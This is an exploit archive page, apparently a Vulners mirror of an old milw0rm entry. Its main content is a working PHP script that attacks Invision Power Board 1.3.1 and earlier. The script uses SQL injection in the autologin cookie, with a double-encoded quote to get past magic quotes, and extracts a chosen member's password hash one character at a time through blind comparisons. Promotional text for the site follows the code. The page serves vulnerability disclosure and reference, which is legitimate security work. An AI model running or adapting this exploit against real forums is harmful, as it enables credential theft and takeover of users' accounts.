Lucene search
K

Invision Power Board <= 1.3.1 Login.PHP SQL Injection (working)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 37 Views

Invision Power Board <= 1.3.1 Login.PHP SQL Injectio

Code

                                                &#60;?php
/* 
&#60;= 1.3.1 Final
/str0ke
*/

$server = &#34;SERVER&#34;;
$port = 80;
$file = &#34;PATH&#34;;

$target = 81;

/* User id and password used to fake-logon are not important. &#39;10&#39; is a
random number. */
$id = 10;
$pass = &#34;&#34;;

$hex = &#34;0123456789abcdef&#34;;
for($i = 1; $i &#60;= 32; $i++ ) {
        $idx = 0;
        $found = false;

        while( !($found) ) {
                $letter = substr($hex, $idx, 1);

                /* %2527 translates to %27, which gets past magic quotes.
This is translated to &#39; by urldecode. */
                $cookie =
&#34;member_id=$id;pass_hash=$pass%2527%20OR%20id=$target&#34;;
                $cookie .=
&#34;%20HAVING%20id=$target%20AND%20MID(`password`,$i,1)=%2527&#34; . $letter;

                /* Query is in effect: SELECT * FROM ibf_members
                                       WHERE id=$id AND password=&#39;$pass&#39; OR
id=$target
                                       HAVING id=$target AND
MID(`password`,$i,1)=&#39;$letter&#39; */

                $header = getHeader($server, $port, $file .
&#34;index.php?act=Login&CODE=autologin&#34;, $cookie);
                if( !preg_match(&#39;/Location:(.*)act\=Login\&CODE\=00\r\n/&#39;,
$header) ) {
                        echo $i . &#34;: &#34; . $letter . &#34;\n&#34;;
                        $found = true;

                        $hash .= $letter;
                } else {
                        $idx++;
                }
        }
}

echo &#34;\n\nFinal Hash: $hash\n&#34;;

function getHeader($server, $port, $file, $cookie) {
        $ip = gethostbyname($server);
        $fp = fsockopen($ip, $port);

        if (!$fp) {
                return &#34;Unknown&#34;;
        } else {
                $com = &#34;HEAD $file HTTP/1.1\r\n&#34;;
                $com .= &#34;Host: $server:$port\r\n&#34;;
                $com .= &#34;Cookie: $cookie\r\n&#34;;
                $com .= &#34;Connection: close\r\n&#34;;
                $com .= &#34;\r\n&#34;;

                fputs($fp, $com);

                do {
                        $header.= fread($fp, 512);
                } while( !preg_match(&#39;/\r\n\r\n$/&#39;,$header) );
        }

        return $header;
}
?&#62;

// milw0rm.com [2005-06-08]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
37